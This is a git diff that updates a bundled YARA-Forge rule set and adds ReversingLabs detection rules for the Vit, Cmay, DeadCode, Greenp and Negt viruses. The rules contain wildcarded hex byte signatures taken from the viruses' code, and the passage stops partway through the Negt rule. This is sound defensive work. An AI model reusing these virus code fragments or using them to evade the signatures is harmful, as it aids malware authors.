diff --git a/test_data/macOS/2023.3CX/libffmpeg.dirty.mdiff b/test_data/macOS/2023.3CX/libffmpeg.dirty.mdiff
index 154628aa2..95f6e82bd 100644
Binary files a/test_data/macOS/2023.3CX/libffmpeg.dirty.mdiff and b/test_data/macOS/2023.3CX/libffmpeg.dirty.mdiff differ
diff --git a/third_party/yara/YARAForge/RELEASE b/third_party/yara/YARAForge/RELEASE
index 444c7cbae..42eedaf32 100644
--- a/third_party/yara/YARAForge/RELEASE
+++ b/third_party/yara/YARAForge/RELEASE
@@ -1 +1 @@
-20240804
+20240901
diff --git a/third_party/yara/YARAForge/yara-rules-full.yar b/third_party/yara/YARAForge/yara-rules-full.yar
index f5874be39..b76f61d32 100644
--- a/third_party/yara/YARAForge/yara-rules-full.yar
+++ b/third_party/yara/YARAForge/yara-rules-full.yar
@@ -5,24 +5,24 @@
  * Rule Package Information
  * Name: full
  * Description: Default YARA Rule Package - Full
- * YARA-Forge Version: 0.8.1
+ * YARA-Forge Version: 0.9.0
  * YARA-QA Commit: 6d0cfc3b5356c3a58f79d98077ad505e4493785c
  * Minimum Quality: 20
  * Force Include Importance Level: 50
  * Force Exclude Importance Level: 0
  * Minimum Age (in days): 0
  * Minimum Score: 40
- * Creation Date: 2024-08-04
- * Number of Rules: 11793
- * Skipped: 0 (age), 234 (quality), 4 (score), 0 (importance)
+ * Creation Date: 2024-09-01
+ * Number of Rules: 12046
+ * Skipped: 0 (age), 223 (quality), 4 (score), 0 (importance)
  */
 /*
  * YARA Rule Set
  * Repository Name: ReversingLabs
  * Repository: https://github.com/reversinglabs/reversinglabs-yara-rules/
- * Retrieval Date: 2024-08-04
- * Git Commit: fb48728b76c37152bb200afb51847f82f75c50c7
- * Number of Rules: 1210
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0
+ * Number of Rules: 1212
  * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
  *
  *
@@ -48,6 +48,477 @@ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 SOFTWARE.
  */
+import "elf"
+
+rule REVERSINGLABS_Linux_Virus_Vit : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Vit virus."
+		author = "ReversingLabs"
+		id = "4515fe43-4c5a-521d-82b7-273823f0c64e"
+		date = "2024-09-01"
+		date = "2024-09-01"
+		modified = "2023-06-07"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/virus/Linux.Virus.Vit.yara#L3-L36"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "2fba7a081dfca85aee5c7f3b33414b799ed52ca6aa5bbf031da040aaa75acde9"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Virus"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$vit_entry_point = {
+        55 89 E5 81 EC 40 31 00 00 57 56 50 53 51 52 C7 85 D8 CE FF FF 00 00 00 00 C7 85 D4
+        CE FF FF 00 00 00 00 C7 85 FC CF FF FF CA 08 00 00 C7 85 F8 CF FF FF B8 06 00 00 C7
+        85 F4 CF FF FF AD 08 00 00 C7 85 F0 CF FF FF 50 06 00 00 6A 00 6A 00 8B 45 08 50 E8
+        18 FA FF FF 89 C6 83 C4 0C 85 F6 0F 8C E6 01 00 00 6A 00 68 ?? ?? ?? ?? 56 E8 2E FA
+        FF FF 83 C4 0C 85 C0 0F 8C C4 01 00 00 8B 85 FC CF FF FF 50 8D 85 00 D0 FF FF 50 56
+        E8 2A FA FF FF 89 C2 8B 85 FC CF FF FF 83 C4 0C 39 C2 0F 85 9D 01 00 00 56 E8 E1 F9
+        FF FF BE FF FF FF FF 6A 00 6A 00 E9
+      }
+		$vit_str = "vi324.tmp"
+
+	condition:
+		uint32(0)==0x464C457F and $vit_entry_point at elf.entry_point and $vit_str
+}
+import "pe"
+
+rule REVERSINGLABS_Win32_Virus_Cmay : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Cmay virus."
+		author = "ReversingLabs"
+		id = "d61e09f1-1d3f-5e1e-9884-25f1a465e88d"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/virus/Win32.Virus.Cmay.yara#L3-L73"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "f3bdf772eb80c632a913621732d12ae4a02bc7d3ba41f51711aa329be2ca6220"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Virus"
+		tc_detection_name = "Cmay"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$cmay_body_1 = {
+            60 66 9C E8 00 00 00 00 5D 8B C5 81 ED ?? ?? ?? ?? 2D 08 00 00 00 2D
+            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 3A 02 00 00 0F 82 7C 03 00 00 8D B5
+            ?? ?? ?? ?? 8D BD ?? ?? ?? ?? E8 4F 02 00 00 E8 05 00 00 00 E9 61 03
+            00 00 8D BD ?? ?? ?? ?? C6 85 ?? ?? ?? ?? 03 6A 7F 57 FF 95 ?? ?? ??
+            ?? 83 C7 7F 6A 7F 57 FF 95 ?? ?? ?? ?? 83 C7 7F 57 6A 7F FF 95 ?? ??
+            ?? ?? 8D BD ?? ?? ?? ?? 80 BD ?? ?? ?? ?? 00 0F 84 20 03 00 00 FE 8D
+            ?? ?? ?? ?? 57 FF 95 ?? ?? ?? ?? 83 C7 7F 8D 9D ?? ?? ?? ?? 53 8D 9D
+            ?? ?? ?? ?? 53 FF 95 ?? ?? ?? ?? 83 F8 FF 74 CA 89 85 ?? ?? ?? ?? FF
+            85 ?? ?? ?? ?? E8 C0 02 00 00 83 F8 FF 74 75 E8 70 02 00 00 85 C0 74
+            6C 8B 85 ?? ?? ?? ?? 8B 50 3C 3B 95 ?? ?? ?? ?? 73 5B 03 D0 8B 02 35
+            96 23 00 00 3D C6 66 00 00 75 4B 81 7A 4C 53 54 30 00 74 42 52 FF B5
+            ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 5A FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ??
+            E8 79 00 00 00 8F 85 ?? ?? ?? ?? 8F 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ??
+            05 7E 0E 80 BD ?? ?? ?? ?? 00 0F 85 40 FF FF FF C3 57 8D BD ?? ?? ??
+            ?? B9 04 01 00 00 32 C0 F3 AA 5F FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ??
+            FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ??
+            ?? 8D 9D ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 85 C0 74
+            05 E9 2A FF FF FF E9 E9 FE FF FF 8B B5 ?? ?? ?? ?? 81 C6 ?? ?? ?? ??
+            8B 5A 3C E8 87 01 00 00 89 B5 ?? ?? ?? ?? E8 8B 01 00 00 33 DB 8B 95
+            ?? ?? ?? ?? 8B 42 3C 03 D0 0F B7 42 06 48 6B C0 28 0F B7 5A 14 83 C3
+            18 03 DA 03 C3 8B 58 10 03 58 14 03 9D ?? ?? ?? ?? 53 8B 4A 28 89 8D
+            ?? ?? ?? ?? 8B 4A 34 89 8D ?? ?? ?? ?? 8B 48 0C 03 48 10 89 8D ?? ??
+            ?? ?? 89 4A 28 8B 70 10 81 C6 ?? ?? ?? ?? 8B 5A 3C E8 1D 01 00 00 89
+            70 10 89 70 08 03 70 0C 89 72 50 81 48 24 20 00 00 A0 C7 42 4C 53 54
+        }
+		$cmay_body_2 = {
+            30 00 5B B9 ?? ?? ?? ?? FC 8B FB 8D B5 ?? ?? ?? ?? F3 A4 FF B5 ?? ??
+            ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ??
+            ?? ?? ?? FF 95 ?? ?? ?? ?? C3 50 51 B9 05 00 00 00 8B 44 24 2E 25 00
+            00 FF FF 66 81 38 4D 5A 74 09 2D 00 00 01 00 E2 F2 EB 06 89 85 ?? ??
+            ?? ?? 59 58 74 01 F9 C3 56 8B 95 ?? ?? ?? ?? 8B 72 3C 03 F2 8B 76 78
+            03 F2 83 C6 1C AD 03 C2 89 85 ?? ?? ?? ?? AD 03 C2 89 85 ?? ?? ?? ??
+            AD 03 C2 89 85 ?? ?? ?? ?? 5E 57 E8 16 00 00 00 5F 89 07 83 C7 04 80
+            3E 88 C7 85 ?? ?? ?? ?? 00 00 00 00 75 E5 C3 8B DE 80 3E 00 74 03 46
+            EB F8 46 8B CE 2B CB 8B F3 8B BD ?? ?? ?? ?? 57 8B 3F 03 FA 51 F3 A6
+            74 0F 8B F3 59 5F 83 C7 04 FF 85 ?? ?? ?? ?? EB E7 59 5F 8B 85 ?? ??
+            ?? ?? D1 E0 03 85 ?? ?? ?? ?? 33 DB 66 8B 18 C1 E3 02 03 9D ?? ?? ??
+            ?? 8B 1B 03 DA 8B C3 C3 50 52 33 D2 8B C6 F7 F3 2B DA 03 F3 5A 58 C3
+            8B 85 ?? ?? ?? ?? 6A 00 50 6A 00 6A 04 6A 00 FF B5 ?? ?? ?? ?? FF 95
+            ?? ?? ?? ?? 85 C0 74 1E 89 85 ?? ?? ?? ?? 6A 00 6A 00 6A 00 6A 02 FF
+            B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 85 C0 75 02 33 C0 89 85 ?? ?? ?? ??
+            C3 33 C0 50 68 80 00 00 00 6A 03 50 40 50 68 00 00 00 C0 8D B5 ?? ??
+            ?? ?? 56 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C3 85 ED 0F 84 2A 04 00
+            00 33 C0 05 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($cmay_body_1 at pe.entry_point) and $cmay_body_2
+}
+import "pe"
+
+rule REVERSINGLABS_Win32_Virus_Deadcode : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects DeadCode virus."
+		author = "ReversingLabs"
+		id = "89ec2e39-a163-5ba6-9b19-9c94b1923d47"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/virus/Win32.Virus.DeadCode.yara#L3-L76"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "6ac2e48daaed222f0a19afd4d03a02834705e0e3762db3217f68569554171846"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Virus"
+		tc_detection_name = "DeadCode"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$deadcode_ep_1 = {
+            64 67 FF 36 30 00 58 8B 40 08 FF 70 48 5B FF 70 4C 5A 03 40 44
+            FF E0
+        }
+		$deadcode_marker = {
+            DE C0 AD DE
+        }
+		$deadcode_ep_2 = {
+            2B C0 85 C0 74 0E 64 67 FF 36 00 00 64 67 89 26 00 00 89 00 E8
+            ED FF FF FF 8B 74 24 0C 64 67 A1 30 00 8B 40 08 8B 58 48 8B 50
+            4C 03 40 44 89 86 B8 00 00 00 89 86 B0 00 00 00 89 9E A4 00 00
+            00 89 96 A8 00 00 00 2B C0 C3
+        }
+		$deadcode_ep_3 = {
+            B8 DE C0 AD DE 50 5A 64 67 A1 30 00 8B 40 08 8B 58 48 8B 50 4C
+            03 40 44 FF D0
+        }
+		$deadcode_body_1 = {
+            8B D0 8B EA 81 C5 ?? ?? ?? ?? 89 85 A4 00 00 00 89 9D C0 00 00 00 E8 56 01 00 00 89
+            45 00 8D 75 04 81 C2 ?? ?? ?? ?? 6A 19 FF 75 00 52 56 E8 CE 01 00 00 64 67 A1 30 00
+            8B 40 08 89 85 88 00 00 00 C7 85 D0 00 00 00 ?? ?? ?? ?? E8 09 00 00 00 8B 64 24 08
+            E9 03 01 00 00 33 D2 64 FF 32 64 89 22 83 BD C0 00 00 00 00 75 2F 6A 04 68 00 10 00
+            00 68 40 01 00 00 6A 00 FF 55 08 50 8F 45 78 E8 2A 03 00 00 68 00 40 00 00 68 40 01
+            00 00 FF 75 78 FF 55 28 E9 C3 00 00 00 8B 85 A4 00 00 00 05 ?? ?? ?? ?? 8D B5 B4 00
+            00 00 56 6A 00 55 50 68 00 00 10 00 6A 00 FF 55 30 89 85 AC 00 00 00 6A 04 68 00 10
+            00 00 6A 54 6A 00 FF 55 08 89 85 A8 00 00 00 64 67 A1 30 00 8B 40 10 8B 40 3C 8B B5
+            A8 00 00 00 8D 7E 10 56 57 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 50 6A 00 FF 55 50 85
+            C0 74 5D FF 76 04 8F 85 B0 00 00 00 64 67 A1 30 00 8B 40 08 8B D8 03 5B 3C 8B 5B 28
+            03 D8 8B 8D A4 00 00 00 81 ?? ?? ?? ?? 8D 85 B4 00 00 00 50 6A ?? 51 53 FF 36 FF 55
+            4C FF 76 04 FF 55 54 8D B5 AC 00 00 00 6A FF 6A 01 56 6A 02 FF 55 34 68 00 40 00 00
+            6A 54 FF B5 A8 00 00 00 FF 55 28 33 D2 64 8F 02 5A E8 DB 01 00 00 E8 F5 00 00 00 6A
+            00 FF 55 3C 64 67 8B 36 00 00 AD 83 F8 FF 74 04 8B F0 EB F6 8B 7E 04 81 E7 00 00 FF
+            FF 66 81 3F 4D 5A 74 08 81 EF 00 00 01 00 EB F1 8B DF 03 5B 3C 66 81 3B 50 45 74 02
+            EB E3 8B C7 C3 55 8B EC 8B 75 0C AC 84 C0 75 FB 2B 75 0C 8B CE 8B 5D 08 03 5B 3C 8B
+            5B 78 03 5D 08 8B 53 20 03 55 08 2B C0 8B 32 03 75 08 8B 7D 0C 51 FC F3 A6 59 74 06
+        }
+		$deadcode_body_2 = {
+            83 C2 04 40 EB EB 8B 73 24 03 75 08 2B D2 66 8B 14 46 8B 73 1C 03 75 08 8B 04 96 03
+            45 08 8B E5 5D C2 08 00 55 8B EC 8B 7D 08 8B 75 0C 8B 4D 14 51 56 57 56 FF 75 10 E8
+            91 FF FF FF 5F 5E 59 AB AC 84 C0 75 FB E2 E9 8B E5 5D C2 10 00 8B 6C 24 04 6A 04 68
+            00 10 00 00 68 40 01 00 00 6A 00 FF 55 08 85 C0 74 18 89 45 78 E8 63 01 00 00 68 00
+            40 00 00 68 40 01 00 00 FF 75 78 FF 55 28 6A 00 FF 55 40 C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ((($deadcode_ep_1 at pe.entry_point) and ($deadcode_marker at 0x40)) or (($deadcode_ep_2 at pe.entry_point) and ($deadcode_marker at 0x40)) or (($deadcode_ep_3 at pe.entry_point) and ($deadcode_marker at 0x40)) or ($deadcode_body_1 and $deadcode_body_2))
+}
+import "pe"
+
+rule REVERSINGLABS_Win32_Virus_Greenp : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Greenp virus."
+		author = "ReversingLabs"
+		id = "5751e91c-652b-59bd-93b8-ece677ad4911"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/virus/Win32.Virus.Greenp.yara#L3-L46"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "ca6df34ee2ad9d93e35b0d1a2d4765f681f3981ffe2786bbc822c3090212fd02"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Virus"
+		tc_detection_name = "Greenp"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$greenp_body_1 = {
+            68 ?? ?? ?? ?? 60 FC E8 4E 05 00 00 E8 31 04 00 00 0F 82 93 00 00 00 80 BD ?? ?? ?? ?? 01 75 63 FF 95 ?? ?? ?? ?? 6A 01
+            50 FF 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A 00 6A 00 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 EC 18 8B FC
+            6A 00 6A 00 6A 00 57 FF 95 ?? ?? ?? ?? 85 C0 74 10 57 FF 95 ?? ?? ?? ?? 57 FF 95 ?? ?? ?? ?? EB DF 68 ?? ?? ?? ?? 6A 00
+            FF 95 ?? ?? ?? ?? 83 C4 18 EB 27 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 85 C0 75 16 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ??
+            ?? 85 C0 74 05 E8 81 00 00 00 61 58 FF E0 ?? E8 04 00 00 00 [4] 8B 3C 24 81 EC 00 01 00 00 8B F4 56 68 00 01 00 00 FF
+            95 ?? ?? ?? ?? AC AA 81 C4 00 01 00 00 FF 95 ?? ?? ?? ?? 83 F8 03 75 2D 83 EC 10 8B F4 56 8D 46 04 50 8D 46 08 50 8D 46
+            0C 50 4F 57 FF 95 ?? ?? ?? ?? 8B 46 04 2B D2 F7 66 08 F7 66 0C 83 C4 10 3D 00 00 40 06 C3 [27] 81 EC ?? ?? ?? ?? 8B F4
+            68 ?? ?? ?? ?? 56 FF 95 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8A 17 88 14 06 40 47 80 FA 00 75 F4 68 ?? ?? ?? ?? 6A 00 FF 95 ??
+            ?? ?? ?? 97 56 57 B9 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 3A 02 00 00 5F B8 ?? ?? ?? ?? 99 68 ?? ?? ?? ?? 59 F7 F1 40 F7 E1
+            8B 57 3C 03 D7 0F B7 5A 14 8D 5C 13 40 8B 72 28 03 72 34 89 B5 ?? ?? ?? ?? C7 42 10 80 67 D5 40 FF 73 10 01 43 10 8B 43
+            10 05 ?? ?? ?? ?? 89 43 08 58 03 43 0C 89 42 28 52 B8 ?? ?? ?? ?? 99 68 ?? ?? ?? ?? 59 F7 F1 40 F7 E1 5A 01 43 10 01 42
+            50 81 42 50 ?? ?? ?? ?? 57 C6 85 ?? ?? ?? ?? 01 81 C7 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? B9 ?? ?? ?? ?? FC F3 A4 C6 85 ?? ??
+            ?? ?? 00 5F 5E 6A 00 6A 00 6A 02 6A 00 6A 00 68 00 00 00 C0 56 FF 95 ?? ?? ?? ?? 93 50 8B C4 6A 00 50 B8 ?? ?? ?? ?? 99
+        }
+		$greenp_body_2 = {
+            68 ?? ?? ?? ?? 59 F7 F1 40 F7 E1 50 57 53 FF 95 ?? ?? ?? ?? 58 57 FF 95 ?? ?? ?? ?? 53 FF 95 ?? ?? ?? ?? 6A 00 56 FF 95
+            ?? ?? ?? ?? 50 50 8B FC 8D 57 04 2B C0 52 57 50 68 3F 00 0F 00 50 50 50 8D 85 ?? ?? ?? ?? 50 68 02 00 00 80 FF 95 ?? ??
+            ?? ?? 85 C0 75 1E 6A 0C 56 6A 01 6A 00 8D 85 ?? ?? ?? ?? 50 FF 37 FF 95 ?? ?? ?? ?? FF 37 FF 95 ?? ?? ?? ?? 81 C4 ?? ??
+            ?? ?? C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($greenp_body_1 at pe.entry_point) and $greenp_body_2
+}
+import "pe"
+
+rule REVERSINGLABS_Win32_Virus_Negt : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Negt virus."
+		author = "ReversingLabs"
+		id = "80e83105-dd98-5fad-9119-f851ec3199af"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/virus/Win32.Virus.Negt.yara#L3-L94"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "43057ef111fc505678606386c8d428653da391f4b65844d81479ca05e3517346"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Virus"
+		tc_detection_name = "Negt"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$negt_body_and_infector_1 = {
+            6A 00 E8 99 08 00 00 A3 ?? ?? ?? ?? 68 04 01 00 00 68 ?? ?? ?? ?? 6A 00 E8 7D 08 00 00 6A 00 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? E8 48 08 00 00 BB 00 00 00 00 8D 05 ?? ?? ?? ?? FE 00 68 ?? ?? ?? ?? E8 2D 00 00 00 43 83 FB 18 7C E8 E8 92 08 00 00
+            3C 9F 7F 17 6A 01 68 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 6A 00 6A 00 E8 7D 08 00 00 6A 00 E8 10 08 00 00 55 8B EC 81 C4 B8
+            FD FF FF FF 75 08 E8 35 08 00 00 0B C0 0F 84 C2 00 00 00 8D 85 C2 FE FF FF 50 68 ?? ?? ?? ?? E8 F2 07 00 00 89 85 BC FE
+            FF FF 83 BD BC FE FF FF FF 0F 84 9E 00 00 00 8D 9D EE FE FF FF 53 E8 21 08 00 00 8B F3 BB 00 00 00 00 F7 D3 68 ?? ?? ??
+            ?? 56 E8 01 08 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 F4 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 E7 07 00 00 23 D8 68 ?? ?? ?? ??
+            56 E8 DA 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 CD 07 00 00 23 D8 83 FB 00 74 28 FF 75 08 68 ?? ?? ?? ?? E8 BF 07 00 00 8D
+            85 EE FE FF FF 50 68 ?? ?? ?? ?? E8 A2 07 00 00 68 ?? ?? ?? ?? E8 08 01 00 00 8D 85 C2 FE FF FF 50 FF B5 BC FE FF FF E8
+            50 07 00 00 83 F8 00 0F 85 62 FF FF FF FF B5 BC FE FF FF E8 30 07 00 00 8D 85 C2 FE FF FF 50 68 ?? ?? ?? ?? E8 25 07 00
+            00 89 85 BC FE FF FF 83 BD BC FE FF FF FF 0F 84 AF 00 00 00 8D BD C2 FE FF FF 8B 07 66 83 E0 10 0F 84 82 00 00 00 8D 9D
+        }
+		$negt_body_and_infector_2 = {
+            EE FE FF FF 53 E8 42 07 00 00 8B F3 BB 00 00 00 00 F7 D3 68 ?? ?? ?? ?? 56 E8 22 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 15
+            07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 08 07 00 00 23 D8 83 FB 00 74 41 FF 75 08 8D 85 B8 FD FF FF 50 E8 F8 06 00 00 8D 85
+            EE FE FF FF 50 8D 85 B8 FD FF FF 50 E8 D9 06 00 00 68 ?? ?? ?? ?? 8D 85 B8 FD FF FF 50 E8 C8 06 00 00 60 8D 85 B8 FD FF
+            FF 50 E8 63 FE FF FF 61 8D 85 C2 FE FF FF 50 FF B5 BC FE FF FF E8 72 06 00 00 83 F8 00 0F 85 51 FF FF FF FF B5 BC FE FF
+            FF E8 52 06 00 00 C9 C2 04 00 55 8B EC 81 C4 E4 E9 FF FF 51 6A 00 68 80 00 00 00 6A 03 6A 00 6A 03 68 00 00 00 C0 FF 75
+            08 E8 1E 06 00 00 83 F8 FF 75 05 E9 AE 03 00 00 89 45 FC 6A 00 6A 00 6A 3C FF 75 FC E8 45 06 00 00 6A 00 8D 45 F0 50 6A
+            04 8D 45 F4 50 FF 75 FC E8 25 06 00 00 6A 00 6A 00 FF 75 F4 FF 75 FC E8 22 06 00 00 6A 00 8D 45 F0 50 68 20 01 00 00 68
+            ?? ?? ?? ?? FF 75 FC E8 FE 05 00 00 8B 5D F4 83 EB 0B 6A 00 6A 00 53 FF 75 FC E8 F7 05 00 00 6A 00 8D 45 F0 50 6A 0B 68
+            ?? ?? ?? ?? FF 75 FC E8 D6 05 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 E5 05 00 00 0B C0 75 05 E9 12 03 00 00 81 3D ?? ??
+            ?? ?? 50 45 00 00 74 05 E9 01 03 00 00 0F B7 05 ?? ?? ?? ?? B9 28 00 00 00 F7 E1 03 45 F4 83 C0 18 0F B7 0D ?? ?? ?? ??
+            03 C1 83 C0 28 3B 05 ?? ?? ?? ?? 76 05 E9 D4 02 00 00 A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 0F B7
+        }
+		$negt_body_and_infector_3 = {
+            05 ?? ?? ?? ?? B9 28 00 00 00 F7 E1 83 C0 04 03 45 F4 83 C0 14 05 E0 00 00 00 89 45 EC C7 05 ?? ?? ?? ?? 2E 45 41 54 C7
+            05 ?? ?? ?? ?? 55 02 00 00 FF 35 ?? ?? ?? ?? 8F 05 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 99 F7 F1 40 F7 E1 A3 ??
+            ?? ?? ?? 8B 45 EC 83 E8 18 6A 00 6A 00 50 FF 75 FC E8 10 05 00 00 6A 00 8D 45 F0 50 6A 04 8D 45 E8 50 FF 75 FC E8 F0 04
+            00 00 6A 00 8D 45 F0 50 6A 04 8D 45 E4 50 FF 75 FC E8 DC 04 00 00 8B 45 E8 03 45 E4 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 00
+            00 00 00 C7 05 ?? ?? ?? ?? 00 00 00 00 66 C7 05 ?? ?? ?? ?? 00 00 66 C7 05 ?? ?? ?? ?? 00 00 C7 05 ?? ?? ?? ?? 20 00 00
+            E0 6A 00 6A 00 FF 75 EC FF 75 FC E8 9E 04 00 00 6A 00 8D 45 F0 50 6A 28 68 ?? ?? ?? ?? FF 75 FC E8 8F 04 00 00 68 ?? ??
+            ?? ?? E8 61 04 00 00 68 ?? ?? ?? ?? E8 63 04 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 48 04 00 00 A3 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 33 04 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 1E 04 00 00
+            A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 09 04 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 F4 03
+            00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 DF 03 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8
+            CA 03 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 B5 03 00 00 A3 ?? ?? ?? ?? 6A 02 6A 00 6A 00 FF 75 FC E8
+            BA 03 00 00 6A 00 8D 45 F0 50 FF 35 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 50 FF 75 FC E8 A5 03 00 00 66 FF 05 ?? ?? ?? ?? A1 ??
+            ?? ?? ?? 8B 0D ?? ?? ?? ?? 99 F7 F1 40 F7 E1 03 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A 00 6A 00
+        }
+		$negt_body_and_infector_4 = {
+            FF 75 F4 FF 75 FC E8 63 03 00 00 6A 00 8D 45 F0 50 68 F8 00 00 00 68 ?? ?? ?? ?? FF 75 FC E8 51 03 00 00 83 6D F4 0B 6A
+            00 6A 00 FF 75 F4 FF 75 FC E8 38 03 00 00 6A 00 8D 45 F0 50 6A 0B 68 ?? ?? ?? ?? FF 75 FC E8 29 03 00 00 6A 00 6A 20 6A
+            03 6A 00 6A 01 68 00 00 00 80 68 ?? ?? ?? ?? E8 C8 02 00 00 89 45 F8 6A 00 6A 00 6A 00 FF 75 F8 E8 F9 02 00 00 6A 00 8D
